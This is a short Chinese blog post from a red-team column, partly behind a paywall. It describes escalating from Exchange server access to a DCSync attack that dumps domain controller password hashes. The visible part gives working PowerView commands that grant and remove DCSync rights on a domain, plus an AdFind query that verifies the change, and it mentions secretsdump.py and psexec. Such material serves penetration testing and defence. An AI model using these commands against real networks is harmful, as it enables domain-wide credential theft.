Exchange writeACL Dcsync连接域控

最新推荐文章于 2023-12-30 17:12:57 发布

Adsatrtgo

最新推荐文章于 2023-12-30 17:12:57 发布

阅读量850

点赞数

分类专栏：红蓝对抗-攻防安全文章标签：域渗透学习

本文链接：https://blog.csdn.net/qq_38376348/article/details/115350868

版权

红蓝对抗-攻防安全专栏收录该内容

48 篇文章 56 订阅 ¥9.90 ¥99.00

订阅专栏

超级会员免费看

本文介绍了如何在已拥有Exchange server权限的情况下，通过修改指定用户的writeACL，执行Dcsync操作来导出域控制器的哈希。使用了PowerSploit中的PowerView脚本，并借助Adfind检查权限写入，以及secretsdump.py工具进行哈希dump。最后，通过psexec连接到域控执行相关操作。

摘要由CSDN通过智能技术生成

已有Exchange server权限,通过给指定用户writeACL 然后Dcsync导出域控哈希

脚本地址如下

https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1

命令行：

#Empire下的powerview.ps1脚本
Import-Module .\powerview.ps1;
Add-DomainObjectAcl -TargetIdentity 'DC=hacktest,DC=com' -PrincipalIde 域用户 -Rights DCSync -Verbose
 
#移除指定用户的dcsync权限
Remove-DomainObjectAcl -TargetIdentity 'DC= hacktest,DC=com' -PrincipalIde 域用户 -Rights DCSync -Verbose

通过Adfind看是否已经写入aaa用户成功

AdFind.exe -s subtree -b "DC=hacktest,DC=com" nTSecurityDescriptor -sddl -sddlfilter ;;;"1131f6aa-9c07-11d1-f79f-00c04fc2dcd2";; -recmute -resolvesids

了解本专栏

超级会员免费看

Adsatrtgo

关注

0
点赞
踩
0

收藏

觉得还不错? 一键收藏
0
评论
Exchange writeACL Dcsync连接域控

已有Exchange server权限,通过给指定用户writeACL 然后Dcsync导出域控哈希脚本地址如下https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1通过Adfind看是否已经写入aaa用户成功
复制链接

扫一扫

专栏目录